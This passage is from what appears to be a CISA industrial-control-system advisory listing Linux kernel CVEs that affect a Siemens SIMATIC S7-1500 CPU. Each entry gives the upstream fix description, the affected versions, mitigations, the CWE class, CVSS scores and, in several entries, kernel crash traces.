<p>In the Linux kernel, the following vulnerability has been resolved: acct: perform last write from workqueue In [1] it was reported that the acct(2) system call can be used to trigger NULL deref in cases where it is set to write to a file that triggers an internal lookup. This can e.g., happen when pointing acc(2) to /sys/power/resume. At the point the where the write to this file happens the calling task has already exited and called exit_fs(). A lookup will thus trigger a NULL-deref when accessing current-&gt;fs. Reorganize the code so that the the final write happens from the workqueue but with the caller's credentials. This preserves the (strange) permission model and has almost no regression risk. This api should stop to exist though.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21846">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21853</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: avoid holding freeze_mutex during mmap operation We use map-&gt;freeze_mutex to prevent races between map_freeze() and memory mapping BPF map contents with writable permissions. The way we naively do this means we'll hold freeze_mutex for entire duration of all the mm and VMA manipulations, which is completely unnecessary. This can potentially also lead to deadlocks, as reported by syzbot in [0]. So, instead, hold freeze_mutex only during writeability checks, bump (proactively) "write active" count for the map, unlock the mutex and proceed with mmap logic. And only if something went wrong during mmap logic, then undo that "write active" counter increment. [0] https://lore.kernel.org/bpf/678dcbc9.050a0220.303755.0066.GAE@google.com/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21861</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: don't add folio to be freed to LRU in migrate_device_finalize() If migration succeeded, we called folio_migrate_flags()-&gt;mem_cgroup_migrate() to migrate the memcg from the old to the new folio. This will set memcg_data of the old folio to 0. Similarly, if migration failed, memcg_data of the dst folio is left unset. If we call folio_putback_lru() on such folios (memcg_data == 0), we will add the folio to be freed to the LRU, making memcg code unhappy. Running the hmm selftests: # ./hmm-tests ... # RUN hmm.hmm_device_private.migrate ... [ 102.078007][T14893] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7ff27d200 pfn:0x13cc00 [ 102.079974][T14893] anon flags: 0x17ff00000020018(uptodate|dirty|swapbacked|node=0|zone=2|lastcpupid=0x7ff) [ 102.082037][T14893] raw: 017ff00000020018 dead000000000100 dead000000000122 ffff8881353896c9 [ 102.083687][T14893] raw: 00000007ff27d200 0000000000000000 00000001ffffffff 0000000000000000 [ 102.085331][T14893] page dumped because: VM_WARN_ON_ONCE_FOLIO(!memcg &amp;&amp; !mem_cgroup_disabled()) [ 102.087230][T14893] ------------[ cut here ]------------ [ 102.088279][T14893] WARNING: CPU: 0 PID: 14893 at ./include/linux/memcontrol.h:726 folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.090478][T14893] Modules linked in: [ 102.091244][T14893] CPU: 0 UID: 0 PID: 14893 Comm: hmm-tests Not tainted 6.13.0-09623-g6c216bc522fd #151 [ 102.093089][T14893] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 [ 102.094848][T14893] RIP: 0010:folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.096104][T14893] Code: ... [ 102.099908][T14893] RSP: 0018:ffffc900236c37b0 EFLAGS: 00010293 [ 102.101152][T14893] RAX: 0000000000000000 RBX: ffffea0004f30000 RCX: ffffffff8183f426 [ 102.102684][T14893] RDX: ffff8881063cb880 RSI: ffffffff81b8117f RDI: ffff8881063cb880 [ 102.104227][T14893] RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000000 [ 102.105757][T14893] R10: 0000000000000001 R11: 0000000000000002 R12: ffffc900236c37d8 [ 102.107296][T14893] R13: ffff888277a2bcb0 R14: 000000000000001f R15: 0000000000000000 [ 102.108830][T14893] FS: 00007ff27dbdd740(0000) GS:ffff888277a00000(0000) knlGS:0000000000000000 [ 102.110643][T14893] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 102.111924][T14893] CR2: 00007ff27d400000 CR3: 000000010866e000 CR4: 0000000000750ef0 [ 102.113478][T14893] PKRU: 55555554 [ 102.114172][T14893] Call Trace: [ 102.114805][T14893] [ 102.115397][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.116547][T14893] ? __warn.cold+0x110/0x210 [ 102.117461][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.118667][T14893] ? report_bug+0x1b9/0x320 [ 102.119571][T14893] ? handle_bug+0x54/0x90 [ 102.120494][T14893] ? exc_invalid_op+0x17/0x50 [ 102.121433][T14893] ? asm_exc_invalid_op+0x1a/0x20 [ 102.122435][T14893] ? __wake_up_klogd.part.0+0x76/0xd0 [ 102.123506][T14893] ? dump_page+0x4f/0x60 [ 102.124352][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.125500][T14893] folio_batch_move_lru+0xd4/0x200 [ 102.126577][T14893] ? __pfx_lru_add+0x10/0x10 [ 102.127505][T14893] __folio_batch_add_and_move+0x391/0x720 [ 102.128633][T14893] ? __pfx_lru_add+0x10/0x10 [ 102.129550][T14893] folio_putback_lru+0x16/0x80 [ 102.130564][T14893] migrate_device_finalize+0x9b/0x530 [ 102.131640][T14893] dmirror_migrate_to_device.constprop.0+0x7c5/0xad0 [ 102.133047][T14893] dmirror_fops_unlocked_ioctl+0x89b/0xc80 Likely, nothing else goes wrong: putting the last folio reference will remove the folio from the LRU again. So besides memcg complaining, adding the folio to be freed to the LRU is just an unnecessary step. The new flow resembles what we have in migrate_folio_move(): add the dst to the lru, rem ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21861">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21864</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp: drop secpath at the same time as we currently drop dst Xiumei reported hitting the WARN in xfrm6_tunnel_net_exit while running tests that boil down to: - create a pair of netns - run a basic TCP test over ipcomp6 - delete the pair of netns The xfrm_state found on spi_byaddr was not deleted at the time we delete the netns, because we still have a reference on it. This lingering reference comes from a secpath (which holds a ref on the xfrm_state), which is still attached to an skb. This skb is not leaked, it ends up on sk_receive_queue and then gets defer-free'd by skb_attempt_defer_free. The problem happens when we defer freeing an skb (push it on one CPU's defer_list), and don't flush that list before the netns is deleted. In that case, we still have a reference on the xfrm_state that we don't expect at this point. We already drop the skb's dst in the TCP receive path when it's no longer needed, so let's also drop the secpath. At this point, tcp_filter has already called into the LSM hooks that may require the secpath, so it should not be needed anymore. However, in some of those places, the MPTCP extension has just been attached to the skb, so we cannot simply drop all extensions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21864">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21867</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf, test_run: Fix use-after-free issue in eth_skb_pkt_type() KMSAN reported a use-after-free issue in eth_skb_pkt_type()[1]. The cause of the issue was that eth_skb_pkt_type() accessed skb's data that didn't contain an Ethernet header. This occurs when bpf_prog_test_run_xdp() passes an invalid value as the user_data argument to bpf_test_init(). Fix this by returning an error when user_data is less than ETH_HLEN in bpf_test_init(). Additionally, remove the check for "if (user_size &gt; size)" as it is unnecessary. [1] BUG: KMSAN: use-after-free in eth_skb_pkt_type include/linux/etherdevice.h:627 [inline] BUG: KMSAN: use-after-free in eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165 eth_skb_pkt_type include/linux/etherdevice.h:627 [inline] eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165 __xdp_build_skb_from_frame+0x5a8/0xa50 net/core/xdp.c:635 xdp_recv_frames net/bpf/test_run.c:272 [inline] xdp_test_run_batch net/bpf/test_run.c:361 [inline] bpf_test_run_xdp_live+0x2954/0x3330 net/bpf/test_run.c:390 bpf_prog_test_run_xdp+0x148e/0x1b10 net/bpf/test_run.c:1318 bpf_prog_test_run+0x5b7/0xa30 kernel/bpf/syscall.c:4371 __sys_bpf+0x6a6/0xe20 kernel/bpf/syscall.c:5777 __do_sys_bpf kernel/bpf/syscall.c:5866 [inline] __se_sys_bpf kernel/bpf/syscall.c:5864 [inline] __x64_sys_bpf+0xa4/0xf0 kernel/bpf/syscall.c:5864 x64_sys_call+0x2ea0/0x3d90 arch/x86/include/generated/asm/syscalls_64.h:322 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xd9/0x1d0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: free_pages_prepare mm/page_alloc.c:1056 [inline] free_unref_page+0x156/0x1320 mm/page_alloc.c:2657 __free_pages+0xa3/0x1b0 mm/page_alloc.c:4838 bpf_ringbuf_free kernel/bpf/ringbuf.c:226 [inline] ringbuf_map_free+0xff/0x1e0 kernel/bpf/ringbuf.c:235 bpf_map_free kernel/bpf/syscall.c:838 [inline] bpf_map_free_deferred+0x17c/0x310 kernel/bpf/syscall.c:862 process_one_work kernel/workqueue.c:3229 [inline] process_scheduled_works+0xa2b/0x1b60 kernel/workqueue.c:3310 worker_thread+0xedf/0x1550 kernel/workqueue.c:3391 kthread+0x535/0x6b0 kernel/kthread.c:389 ret_from_fork+0x6e/0x90 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 CPU: 1 UID: 0 PID: 17276 Comm: syz.1.16450 Not tainted 6.12.0-05490-g9bb88c659673 #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21867">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21875</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: always handle address removal under msk socket lock Syzkaller reported a lockdep splat in the PM control path: WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 sock_owned_by_me include/net/sock.h:1711 [inline] WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 msk_owned_by_me net/mptcp/protocol.h:363 [inline] WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 mptcp_pm_nl_addr_send_ack+0x57c/0x610 net/mptcp/pm_netlink.c:788 Modules linked in: CPU: 0 UID: 0 PID: 6693 Comm: syz.0.205 Not tainted 6.14.0-rc2-syzkaller-00303-gad1b832bf1cf #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 12/27/2024 RIP: 0010:sock_owned_by_me include/net/sock.h:1711 [inline] RIP: 0010:msk_owned_by_me net/mptcp/protocol.h:363 [inline] RIP: 0010:mptcp_pm_nl_addr_send_ack+0x57c/0x610 net/mptcp/pm_netlink.c:788 Code: 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 ca 7b d3 f5 eb b9 e8 c3 7b d3 f5 90 0f 0b 90 e9 dd fb ff ff e8 b5 7b d3 f5 90 &lt;0f&gt; 0b 90 e9 3e fb ff ff 44 89 f1 80 e1 07 38 c1 0f 8c eb fb ff ff RSP: 0000:ffffc900034f6f60 EFLAGS: 00010283 RAX: ffffffff8bee3c2b RBX: 0000000000000001 RCX: 0000000000080000 RDX: ffffc90004d42000 RSI: 000000000000a407 RDI: 000000000000a408 RBP: ffffc900034f7030 R08: ffffffff8bee37f6 R09: 0100000000000000 R10: dffffc0000000000 R11: ffffed100bcc62e4 R12: ffff88805e6316e0 R13: ffff88805e630c00 R14: dffffc0000000000 R15: ffff88805e630c00 FS: 00007f7e9a7e96c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b2fd18ff8 CR3: 0000000032c24000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: mptcp_pm_remove_addr+0x103/0x1d0 net/mptcp/pm.c:59 mptcp_pm_remove_anno_addr+0x1f4/0x2f0 net/mptcp/pm_netlink.c:1486 mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_netlink.c:1518 [inline] mptcp_pm_nl_del_addr_doit+0x118d/0x1af0 net/mptcp/pm_netlink.c:1629 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0xb1f/0xec0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x206/0x480 net/netlink/af_netlink.c:2543 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline] netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1348 netlink_sendmsg+0x8de/0xcb0 net/netlink/af_netlink.c:1892 sock_sendmsg_nosec net/socket.c:718 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:733 ____sys_sendmsg+0x53a/0x860 net/socket.c:2573 ___sys_sendmsg net/socket.c:2627 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2659 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f7e9998cde9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f7e9a7e9038 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f7e99ba5fa0 RCX: 00007f7e9998cde9 RDX: 000000002000c094 RSI: 0000400000000000 RDI: 0000000000000007 RBP: 00007f7e99a0e2a0 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 00007f7e99ba5fa0 R15: 00007fff49231088 Indeed the PM can try to send a RM_ADDR over a msk without acquiring first the msk socket lock. The bugged code-path comes from an early optimization: when there are no subflows, the PM should (usually) not send RM_ADDR notifications. The above statement is incorrect, as without locks another process could concur ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21875">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21887</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ovl: fix UAF in ovl_dentry_update_reval by moving dput() in ovl_link_up The issue was caused by dput(upper) being called before ovl_dentry_update_reval(), while upper-&gt;d_flags was still accessed in ovl_dentry_remote(). Move dput(upper) after its last use to prevent use-after-free. BUG: KASAN: slab-use-after-free in ovl_dentry_remote fs/overlayfs/util.c:162 [inline] BUG: KASAN: slab-use-after-free in ovl_dentry_update_reval+0xd2/0xf0 fs/overlayfs/util.c:167 Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:114 print_address_description mm/kasan/report.c:377 [inline] print_report+0xc3/0x620 mm/kasan/report.c:488 kasan_report+0xd9/0x110 mm/kasan/report.c:601 ovl_dentry_remote fs/overlayfs/util.c:162 [inline] ovl_dentry_update_reval+0xd2/0xf0 fs/overlayfs/util.c:167 ovl_link_up fs/overlayfs/copy_up.c:610 [inline] ovl_copy_up_one+0x2105/0x3490 fs/overlayfs/copy_up.c:1170 ovl_copy_up_flags+0x18d/0x200 fs/overlayfs/copy_up.c:1223 ovl_rename+0x39e/0x18c0 fs/overlayfs/dir.c:1136 vfs_rename+0xf84/0x20a0 fs/namei.c:4893 ...</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21887">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
